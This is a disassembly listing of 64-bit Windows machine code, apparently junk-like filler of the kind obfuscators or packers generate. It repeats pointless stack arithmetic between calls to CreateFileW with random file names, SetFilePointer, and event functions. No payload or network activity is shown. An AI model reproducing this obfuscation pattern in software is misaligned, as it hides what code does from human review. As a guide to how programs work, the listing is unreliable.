call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb231
mov rcx, qword [rsp + 0x2ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x68c], eax
mov rax, qword [rsp + 0xfc8]
movzx eax, word [rax]
mov word [0x1400fd6cc], ax
lea rax, [rsp + 0x2918]
mov qword [rsp + 0x1858], rax
mov rax, qword [0x1400fd490]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2e48]
sar rax, cl
mov qword [rsp + 0x1700], rax
mov rax, qword [rsp + 0x1d28]
mov qword [rsp + 0x2ff0], rax
mov rax, qword [rsp + 0x2f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x364]
sub eax, ecx
mov rcx, qword [rsp + 0x2290]
mov word [rcx], ax
mov rax, qword [rsp + 0x30e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e80]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x25a8]
mov qword [rcx], rax
lea rax, [rsp + 0x16e]
mov qword [rsp + 0x2b08], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4d68], rax
mov eax, dword [rsp + 0xbd0]
mov ecx, dword [rsp + 0xe1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x640], eax
mov rax, qword [rsp + 0x1468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0x1bd], al
mov eax, dword [rsp + 0x1680]
cdq
mov rcx, qword [rsp + 0x948]
idiv dword [rcx]
mov dword [rsp + 0x1a94], eax
movsx eax, word [rsp + 0x6e0]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc50c], ax
movzx eax, word [0x1400fd590]
mov rcx, qword [rsp + 0x648]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xde9d
mov rcx, qword [rsp + 0x1cf8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a34], eax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
mov word [rsp + 0x3620], ax
mov rcx, qword [rsp + 0x2af8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e8], eax
mov rax, qword [rsp + 0xb28]
mov rcx, qword [0x1400fd2e8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2aa8], rax
mov rax, qword [rsp + 0x2e68]
movzx eax, byte [rax]
mov byte [rsp + 0x922], al
mov rax, qword [rsp + 0x2a10]
movzx ecx, al
mov rax, qword [rsp + 0x28f8]
shl rax, cl
mov qword [rsp + 0xd18], rax
mov rax, qword [rsp + 0x2988]
mov ecx, dword [rsp + 0x1394]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1388], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.EKmVij4OBBqvUOOS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x2938]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6bc]
sub eax, ecx
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
movzx eax, word [rsp + 0x114]
mov rcx, qword [rsp + 0x1f90]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x428], ax
mov rax, qword [rsp + 0x320]
mov rax, qword [rax]
mov rcx, qword [0x1400fd438]
mov qword [rsp + 0x4a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a58]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc4c0], rax
movzx eax, word [rsp + 0x5fc]
mov word [rsp + 0xeec], ax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x18c0]
mov rcx, qword [rsp + 0x120]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x18b8], rax
lea rax, [0x1400fd188]
mov qword [rsp + 0x2fa8], rax
mov rax, qword [rsp + 0x960]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8d8], eax
mov rax, qword [rsp + 0x1d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2268]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3028], rax
mov rax, qword [rsp + 0x970]
mov rcx, qword [rsp + 0xc50]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x34d0], eax
movzx eax, byte [rsp + 0x57d]
cdq
mov ecx, 0x91
idiv ecx
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x2d3]
mov byte [rsp + 0x3eb], al
lea rax, [rsp + 0x1d0]
mov qword [0x1400fd6d0], rax
mov rax, qword [rsp + 0x3db0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x180]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3048]
mov word [rcx], ax
movzx eax, word [rsp + 0x720]
mov rcx, qword [rsp + 0x25d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
movzx eax, word [rsp + 0x198]
mov word [rsp + 0xbd8], ax
mov rax, qword [rsp + 0x2410]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2eb0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x500], rax
mov rax, qword [rsp + 0xd80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x1a30]
shl eax, cl
mov dword [rsp + 0x271c], eax
mov rax, qword [rsp + 0xa88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c7]
or eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
movzx eax, word [rsp + 0x6b4]
mov word [rsp + 0xb0c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9a30
mov rcx, qword [rsp + 0x3db8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
mov rcx, qword [rsp + 0x2e00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x30a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x388]
sub eax, ecx
mov word [rsp + 0xec], ax
mov rax, qword [rsp + 0x25f8]
mov rcx, qword [rsp + 0x1f80]
add rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov rax, qword [rsp + 0x2a58]
mov rax, qword [rax]
mov rcx, qword [0x1400fd520]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x28a0]
mov qword [rcx], rax
lea rax, [rsp + 0x14d0]
mov qword [rsp + 0x4138], rax
mov rax, qword [rsp + 0x1070]
mov rcx, qword [rsp + 0x9b8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1250]
mov qword [rcx], rax
lea rax, [rsp + 0x880]
mov qword [rsp + 0x2bd0], rax
movzx eax, byte [rsp + 0x232]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd98]
mov byte [rcx], al
mov rax, qword [rsp + 0x2f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xe0c], eax
mov rax, qword [rsp + 0x1d88]
mov rax, qword [rax]
add rax, qword [rsp + 0x1c58]
mov qword [rsp + 0x3e80], rax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x2d0]
sub eax, ecx
mov byte [rsp + 0x3e9], al
lea rax, [rsp + 0x13d4]
mov qword [0x1400fd6d8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.eq6nUwo9X9k6AKpCwr0VRhZEJhpB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x54b8], rax
movzx eax, word [rsp + 0x4ac]
mov word [rsp + 0x155c], ax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
movsx eax, word [0x1400fd16c]
mov rcx, qword [rsp + 0x18d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1488]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x397f
mov rcx, qword [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa4], eax
movzx eax, word [rsp + 0x374]
movzx ecx, word [rsp + 0x144]
add eax, ecx
mov word [rsp + 0x394], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3748], rax
mov rax, qword [0x1400fd128]
mov qword [rsp + 0x3f68], rax
mov rax, qword [rsp + 0x2a38]
mov rcx, qword [rsp + 0x1170]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2e70], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x25c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2d2], al
mov rax, qword [rsp + 0x4a60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1400fc4e8]
shl eax, cl
mov dword [rsp + 0xcc8], eax
mov rax, qword [rsp + 0x36e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6c0]
sar eax, cl
mov word [rsp + 0x1598], ax
movzx eax, word [rsp + 0x1dc]
movzx ecx, word [rsp + 0x86c]
sub eax, ecx
mov word [0x1400fc3f0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x380e
mov rcx, qword [rsp + 0x2900]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov rcx, qword [rsp + 0x36d8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x2ff0]
mov qword [rsp + 0x3938], rax
movzx eax, word [rsp + 0x590]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x708], ax
lea rax, [rsp + 0x134]
mov qword [rsp + 0x1828], rax
mov rax, qword [rsp + 0x1930]
mov eax, dword [rax]
add eax, dword [rsp + 0x8d0]
mov dword [rsp + 0x11a4], eax
lea rax, [rsp + 0x1e80]
mov qword [rsp + 0x3f38], rax
movsx eax, byte [rsp + 0x2b8]
movsx ecx, byte [0x1400fd133]
sar eax, cl
mov byte [rsp + 0x1c8], al
mov rax, qword [rsp + 0xa48]
mov rcx, qword [rsp + 0x18f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x674], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4e0
mov rcx, qword [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2804], eax
mov rcx, qword [rsp + 0x36d8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x224]
add eax, ecx
mov word [rsp + 0xc14], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x3125
mov rcx, qword [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34c0], eax
movzx eax, word [0x1400fd260]
mov word [0x1400fd6e0], ax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3df0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e70], rax
mov rax, qword [rsp + 0x1ca8]
mov qword [rsp + 0x4058], rax
movsx eax, word [rsp + 0x110]
movsx ecx, word [rsp + 0x38c]
shl eax, cl
mov word [rsp + 0x6d0], ax
movzx eax, word [rsp + 0x888]
mov rcx, qword [rsp + 0x1530]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x4a8], ax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x24b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2990]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x914], al
mov rax, qword [rsp + 0x1e80]
mov rcx, qword [rsp + 0x25b0]
mov qword [rsp + 0x4a68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a68]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x17c8], rax
lea rax, [rsp + 0xce0]
mov qword [rsp + 0x3070], rax
mov rax, qword [0x1400fd6a0]
mov rcx, qword [rsp + 0x540]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3698], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2e7e
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1994], eax
movsx eax, word [rsp + 0x5c8]
mov rcx, qword [rsp + 0x31b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc494], ax
mov rax, qword [rsp + 0x650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a4]
and eax, ecx
mov word [rsp + 0x388], ax
lea rax, [rsp + 0x59]
mov qword [rsp + 0x4b88], rax
mov rax, qword [rsp + 0xd40]
mov ecx, dword [rsp + 0x20fc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1988], eax
mov rax, qword [rsp + 0x17e8]
mov qword [rsp + 0x37d0], rax
mov rax, qword [rsp + 0x828]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8f8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x640], eax
lea rax, [rsp + 0x1800]
mov qword [rsp + 0x3df8], rax
mov rax, qword [rsp + 0x1b40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57b]
sar eax, cl
mov rcx, qword [rsp + 0x2d98]
mov byte [rcx], al
mov rcx, qword [rsp + 0x2af8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.bTPAEjsFZLi6mgk0SLjd2GmD9kTJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3860], rax
movsx eax, word [rsp + 0x156c]
movsx ecx, word [rsp + 0x7c]
add eax, ecx
mov rcx, qword [rsp + 0x1190]
mov word [rcx], ax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
mov word [0x1400fd6e4], ax
mov rax, qword [rsp + 0x12e8]
mov rax, qword [rax]
mov qword [rsp + 0x2b98], rax
mov rax, qword [rsp + 0xd68]
movzx eax, word [rax]
movzx ecx, word [0x1400fd6c8]
and eax, ecx
mov rcx, qword [rsp + 0xd10]
mov word [rcx], ax
movsx eax, word [rsp + 0x314]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [rsp + 0x1858]
mov rcx, qword [rsp + 0x2890]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x29d8]
mov qword [rcx], rax
mov rax, qword [0x1400fd4c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2518]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x82], al
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27f8], eax
lea rax, [rsp + 0xba0]
mov qword [rsp + 0x2cc8], rax
mov rax, qword [rsp + 0x3730]
mov rcx, qword [rsp + 0x470]
mov qword [rsp + 0x4a70], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a70]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1c20], rax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0x2380]
mov rcx, qword [rsp + 0x1b0]
mov qword [rsp + 0x4a78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a78]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc438], rax
movzx eax, byte [rsp + 0x57e]
imul eax, eax, 0x44
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x2460]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x448]
mov qword [rsp + 0x3008], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x48c3
mov rcx, qword [rsp + 0xa08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
movzx eax, word [rsp + 0x4a8]
movzx ecx, word [rsp + 0x300]
sub eax, ecx
mov rcx, qword [rsp + 0x2488]
mov word [rcx], ax
mov rax, qword [0x1400fd6d8]
mov eax, dword [rax]
add eax, dword [rsp + 0x1384]
mov dword [rsp + 0x280c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3fa0], rax
movsx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0x19a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x2b08]
mov byte [rcx], al
mov rax, qword [rsp + 0x2b38]
mov rcx, qword [rsp + 0x1300]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2848], rax
movzx eax, word [rsp + 0xec0]
mov word [rsp + 0x1634], ax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2298]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc510], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd925
mov rcx, qword [rsp + 0x2ed0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x167c], eax
mov rax, qword [rsp + 0x3168]
movzx ecx, al
mov rax, qword [0x1400fd600]
sar rax, cl
mov rcx, qword [rsp + 0x1218]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x1ff8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov rax, qword [rsp + 0x12b0]
mov rax, qword [rax]
mov qword [rsp + 0x36b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.o2lXc5RT0HuTvUeqJ7yd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4fd0], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x36b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1c48]
mov qword [rcx], rax
lea rax, [0x1400fc504]
mov qword [rsp + 0x2930], rax
movsx eax, byte [rsp + 0xf4]
mov rcx, qword [rsp + 0x1ff0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x233], al
mov rax, qword [rsp + 0x17e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a70], eax
mov rax, qword [rsp + 0x1870]
mov rax, qword [rax]
mov rcx, qword [0x1400fd5c0]
mov qword [rsp + 0x4a80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3a78], rax
mov rcx, qword [rsp + 0x3dc0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x2270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1828]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0x1c08]
mov eax, dword [rax]
mov dword [rsp + 0x34a0], eax
mov rax, qword [rsp + 0x2498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2090]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc4d4], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x78f4
mov rcx, qword [rsp + 0x16e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
movzx eax, word [rsp + 0x450]
movzx ecx, word [rsp + 0xe60]
sar eax, cl
mov word [rsp + 0x5c4], ax
mov rax, qword [0x1400fd170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x10a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x19e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1c50]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2e08], rax
mov rax, qword [rsp + 0x12e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2420]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f20], rax
movzx eax, byte [rsp + 0x136]
mov byte [rsp + 0xe53], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2f30], rax
mov rax, qword [rsp + 0x19d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x13ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3930]
mov dword [rcx], eax
movsx eax, word [rsp + 0x258]
mov rcx, qword [rsp + 0x3818]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x278]
mov word [rcx], ax
lea rax, [rsp + 0x380]
mov qword [rsp + 0x1b58], rax
mov rax, qword [rsp + 0x2fa8]
mov rcx, qword [rsp + 0x14e8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc418], rax
mov rax, qword [0x1400fd5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4a0]
shl eax, cl
mov word [rsp + 0x14c], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xc1db
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x196c], eax
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
mov rax, qword [rsp + 0x18b8]
mov qword [rsp + 0x2640], rax
mov rax, qword [rsp + 0x1fa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1760], rax
mov rax, qword [rsp + 0x3958]
mov rcx, qword [rsp + 0x2868]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xfd0]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.yp4dYDeUNPM5hpd3Us_aOcWh9ljP
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4218], rax
movsx eax, byte [rsp + 0x2d2]
mov rcx, qword [rsp + 0x37c0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x90f], al
mov rax, qword [rsp + 0xd20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x57d]
sub eax, ecx
mov rcx, qword [rsp + 0x12d8]
mov byte [rcx], al
lea rax, [rsp + 0x20e4]
mov qword [rsp + 0x3e78], rax
mov rax, qword [rsp + 0x2548]
mov rcx, qword [rsp + 0x1008]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb8c], eax
mov rax, qword [rsp + 0xfe8]
movzx eax, word [rax]
mov word [0x1400fd6e8], ax
mov rax, qword [0x1400fd598]
movzx eax, word [rax]
mov word [rsp + 0x361c], ax
movzx eax, word [rsp + 0xafc]
mov rcx, qword [rsp + 0x1470]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x850], ax
mov rax, qword [rsp + 0xdd0]
movzx eax, word [rax]
mov rcx, qword [0x1400fd418]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xea0], ax
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x3238], rax
movsx eax, byte [rsp + 0x3ef]
movsx ecx, byte [rsp + 0x135]
sub eax, ecx
mov rcx, qword [rsp + 0x2ef8]
mov byte [rcx], al
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x2af0], rax
movsx eax, word [rsp + 0x290]
movsx ecx, word [rsp + 0xb0c]
and eax, ecx
mov word [rsp + 0xc0c], ax
movzx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5ac], ax
lea rax, [rsp + 0x29b8]
mov qword [0x1400fd6f0], rax
lea rax, [0x1400fc428]
mov qword [rsp + 0x3fd0], rax
mov rax, qword [rsp + 0x1b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12e8]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x29d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x31f8]
mov rcx, qword [rsp + 0x12e8]
mov qword [rsp + 0x4a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a88]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2c08], rax
mov rcx, qword [rsp + 0x2f00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1110], eax
mov rax, qword [0x1400fd270]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x160]
or eax, ecx
mov word [rsp + 0xe58], ax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x3f6]
xor eax, ecx
mov byte [rsp + 0x57e], al
lea rax, [0x1400fc384]
mov qword [rsp + 0x5278], rax
mov rax, qword [rsp + 0x24d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1cf0]
shl rax, cl
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
mov dword [rsp + 0x2170], eax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [str._aMl]
add eax, ecx
mov rcx, qword [0x1400fd238]
mov byte [rcx], al
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0x2310]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf90]
mov word [rcx], ax
movzx eax, word [rsp + 0x6c4]
mov word [rsp + 0x1560], ax
movzx eax, word [rsp + 0x4d8]
movzx ecx, word [rsp + 0xbe8]
sub eax, ecx
mov word [rsp + 0x2234], ax
mov rax, qword [rsp + 0x4a90]
mov rcx, qword [rsp + 0xb20]
mov qword [rsp + 0x4a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4a98]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x738]
mov qword [rcx], rax
mov eax, dword [rsp + 0xb90]
mov ecx, dword [rsp + 0x10d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2124], eax
mov rax, qword [0x1400fd628]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x231]
add eax, ecx
mov byte [rsp + 0x2ce], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x446
mov rcx, qword [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x34cc], eax
lea rax, [rsp + 0x2fe0]
mov qword [rsp + 0x2d40], rax
movsx eax, word [rsp + 0x4b0]
mov rcx, qword [rsp + 0x1710]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3728]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4f48], rax
lea rax, [0x1400fc44c]
mov qword [0x1400fd6f8], rax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [rsp + 0x1740]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2a18]
mov qword [rcx], rax
movzx eax, word [rsp + 0x4a4]
mov word [rsp + 0x3618], ax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3f6]
and eax, ecx
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x2148]
mov qword [rsp + 0x4c48], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa81e
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
mov rax, qword [rsp + 0x2528]
mov rcx, qword [rsp + 0x37d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1fc0]
mov qword [rcx], rax
movsx eax, byte [str._aMl]
mov rcx, qword [rsp + 0x19a8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x604], al
mov rcx, qword [rsp + 0x2350]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
